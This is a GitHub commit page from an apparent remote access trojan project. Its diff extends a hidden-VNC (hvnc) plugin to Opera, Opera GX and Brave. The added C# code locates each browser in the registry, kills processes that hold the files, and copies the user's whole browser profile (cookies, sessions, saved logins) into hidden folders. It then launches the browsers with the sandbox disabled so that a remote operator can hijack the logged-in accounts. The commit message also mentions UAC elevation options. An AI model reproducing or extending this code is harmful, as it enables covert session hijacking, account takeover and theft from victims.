Skip to content

Commit

Permalink
added a couple more options relating to the uac (request for admin, d…
Browse files Browse the repository at this point in the history
…e-escelate to user). improved stability. now it sends major errors to the server for faster fixing. added opera, operaGX and brave to the hvnc. improved varoius other things
  • Loading branch information
moom825 committed Jan 2, 2024
1 parent 0731e6e commit 3438a2c
Show file tree
Hide file tree
Showing 15 changed files with 878 additions and 124 deletions.
117 changes: 117 additions & 0 deletions Plugins/Hvnc/Hvnc.cs
Original file line number Diff line number Diff line change
Expand Up @@ -25,9 +25,15 @@ public class Main
bool cloning_chrome = false;
bool cloning_firefox = false;
bool cloning_edge = false;
bool cloning_opera = false;
bool cloning_operagx = false;
bool cloning_brave = false;
bool has_clonned_chrome = false;
bool has_clonned_firefox=false;
bool has_clonned_edge = false;
bool has_clonned_opera = false;
bool has_clonned_operagx = false;
bool has_clonned_brave = false;
Imaging_handler ImageHandler;
input_handler InputHandler;
Process_Handler ProcessHandler;
Expand Down Expand Up @@ -136,6 +142,45 @@ public async Task Run(Node node)
ProcessHandler.StartEdge();
}
}
else if (data[0] == 11)
{ //start edge
if (do_browser_clone && !has_clonned_opera)
{
has_clonned_opera = true;
HandleCloneOpera();

}
else
{
ProcessHandler.StartOpera();
}
}
else if (data[0] == 12)
{ //start edge
if (do_browser_clone && !has_clonned_operagx)
{
has_clonned_operagx = true;
HandleCloneOperaGX();

}
else
{
ProcessHandler.StartOperaGX();
}
}
else if (data[0] == 13)
{ //start edge
if (do_browser_clone && !has_clonned_brave)
{
has_clonned_brave = true;
HandleCloneBrave();

}
else
{
ProcessHandler.StartBrave();
}
}
}
}
catch
Expand Down Expand Up @@ -194,6 +239,78 @@ private async Task HandleCloneChrome()
cloning_chrome = false;
}
}
private async Task HandleCloneOpera()
{
if (!cloning_opera)
{
cloning_opera = true;
if (!await ProcessHandler.CloneOpera())
{
int pid = await GetProcessViaCommandLine("opera.exe", "OperaAutomationData");
if (pid != -1)
{
Process p = Process.GetProcessById(pid);
try
{
p.Kill();
await ProcessHandler.CloneOpera();
}
catch { }
p.Dispose();
}
}
ProcessHandler.StartOpera();
cloning_opera = false;
}
}
private async Task HandleCloneOperaGX()
{
if (!cloning_operagx)
{
cloning_operagx = true;
if (!await ProcessHandler.CloneOperaGX())
{
int pid = await GetProcessViaCommandLine("opera.exe", "OperaGXAutomationData");
if (pid != -1)
{
Process p = Process.GetProcessById(pid);
try
{
p.Kill();
await ProcessHandler.CloneOperaGX();
}
catch { }
p.Dispose();
}
}
ProcessHandler.StartOperaGX();
cloning_operagx = false;
}
}
private async Task HandleCloneBrave()
{
if (!cloning_brave)
{
cloning_brave = true;
if (!await ProcessHandler.CloneBrave())
{
int pid = await GetProcessViaCommandLine("brave.exe", "BraveAutomationData");
if (pid != -1)
{
Process p = Process.GetProcessById(pid);
try
{
p.Kill();
await ProcessHandler.CloneBrave();
}
catch { }
p.Dispose();
}
}
ProcessHandler.StartBrave();
cloning_brave = false;
}
}
private async Task HandleCloneFirefox()
{
if (!cloning_firefox)
Expand Down
173 changes: 173 additions & 0 deletions Plugins/Hvnc/Process Handler.cs
Original file line number Diff line number Diff line change
Expand Up @@ -90,6 +90,77 @@ public bool StartExplorer()
return CreateProc(@"C:\Windows\explorer.exe");
}

public string GetOperaPath()
{
const string basePath = @"SOFTWARE\Clients\StartMenuInternet";
using (var clientsKey = Registry.CurrentUser.OpenSubKey(basePath))
{
if (clientsKey != null)
{
foreach (var subKeyName in clientsKey.GetSubKeyNames())
{
if (subKeyName.Contains("Opera") && !subKeyName.Contains("GX"))
{
using (var operaKey = clientsKey.OpenSubKey($"{subKeyName}\\shell\\open\\command"))
{
if (operaKey != null)
{
object operaPathObj = operaKey.GetValue("");
if (operaPathObj != null)
{
return operaPathObj.ToString().Trim('"');
}
}
}
}
}
}
}
return null;
}

public string GetBravePath()
{
var path = Registry.GetValue(@"HKEY_CLASSES_ROOT\BraveHTML\shell\open\command", null, null) as string;
if (path != null)
{
var split = path.Split('\"');
path = split.Length >= 2 ? split[1] : null;
}
return path;
}


public string GetOperaGXPath()
{
const string basePath = @"SOFTWARE\Clients\StartMenuInternet";
using (var clientsKey = Registry.CurrentUser.OpenSubKey(basePath))
{
if (clientsKey != null)
{
foreach (var subKeyName in clientsKey.GetSubKeyNames())
{
if (subKeyName.Contains("Opera") && subKeyName.Contains("GX"))
{
using (var operaGXKey = clientsKey.OpenSubKey($"{subKeyName}\\shell\\open\\command"))
{
if (operaGXKey != null)
{
object operaGXPathObj = operaGXKey.GetValue("");
if (operaGXPathObj != null)
{
return operaGXPathObj.ToString().Trim('"');
}
}
}
}
}
}
}
return null;
}


public string getChromePath()
{

Expand Down Expand Up @@ -164,6 +235,39 @@ public bool StartChrome()
return CreateProc("\"" + path + "\"" + " --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir="+dataDir);
}

public bool StartOpera()
{
string dataDir = @"C:\OperaAutomationData";
string path = GetOperaPath();
if (path == null || !File.Exists(path))
{
return false;
}
return CreateProc("\"" + path + "\"" + " --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=" + dataDir);
}

public bool StartOperaGX()
{
string dataDir = @"C:\OperaGXAutomationData";
string path = GetOperaGXPath();
if (path == null || !File.Exists(path))
{
return false;
}
return CreateProc("\"" + path + "\"" + " --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=" + dataDir);
}

public bool StartBrave()
{
string dataDir = @"C:\BraveAutomationData";
string path = GetBravePath();
if (path == null || !File.Exists(path))
{
return false;
}
return CreateProc("\"" + path + "\"" + " --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=" + dataDir);
}

public bool StartEdge()
{
string dataDir = @"C:\EdgeAutomationData";
Expand Down Expand Up @@ -209,6 +313,75 @@ public async Task<bool> CloneChrome()
return false;
}

public async Task<bool> CloneOperaGX()
{
try
{
string dataDir = @"C:\OperaGXAutomationData";
string source = $@"C:\Users\{Environment.UserName}\AppData\Roaming\Opera Software\Opera GX Stable";
if (Directory.Exists(dataDir))
{
await Task.Run(() => Directory.Delete(dataDir, true));
Directory.CreateDirectory(dataDir);
}
else
{
Directory.CreateDirectory(dataDir);
}
await CopyDirAsync(source, dataDir);
return true;

}
catch { }
return false;
}

public async Task<bool> CloneOpera()
{
try
{
string dataDir = @"C:\OperaAutomationData";
string source = $@"C:\Users\{Environment.UserName}\AppData\Roaming\Opera Software\Opera Stable";
if (Directory.Exists(dataDir))
{
await Task.Run(() => Directory.Delete(dataDir, true));
Directory.CreateDirectory(dataDir);
}
else
{
Directory.CreateDirectory(dataDir);
}
await CopyDirAsync(source, dataDir);
return true;

}
catch { }
return false;
}

public async Task<bool> CloneBrave()
{
try
{
string dataDir = @"C:\BraveAutomationData";
string source = $@"C:\Users\{Environment.UserName}\AppData\Local\BraveSoftware\Brave-Browser\User Data";
if (Directory.Exists(dataDir))
{
await Task.Run(() => Directory.Delete(dataDir, true));
Directory.CreateDirectory(dataDir);
}
else
{
Directory.CreateDirectory(dataDir);
}
await CopyDirAsync(source, dataDir);
return true;

}
catch { }
return false;
}

public async Task<bool> CloneFirefox()
{
try
Expand Down
Loading

0 comments on commit 3438a2c

Please sign in to comment.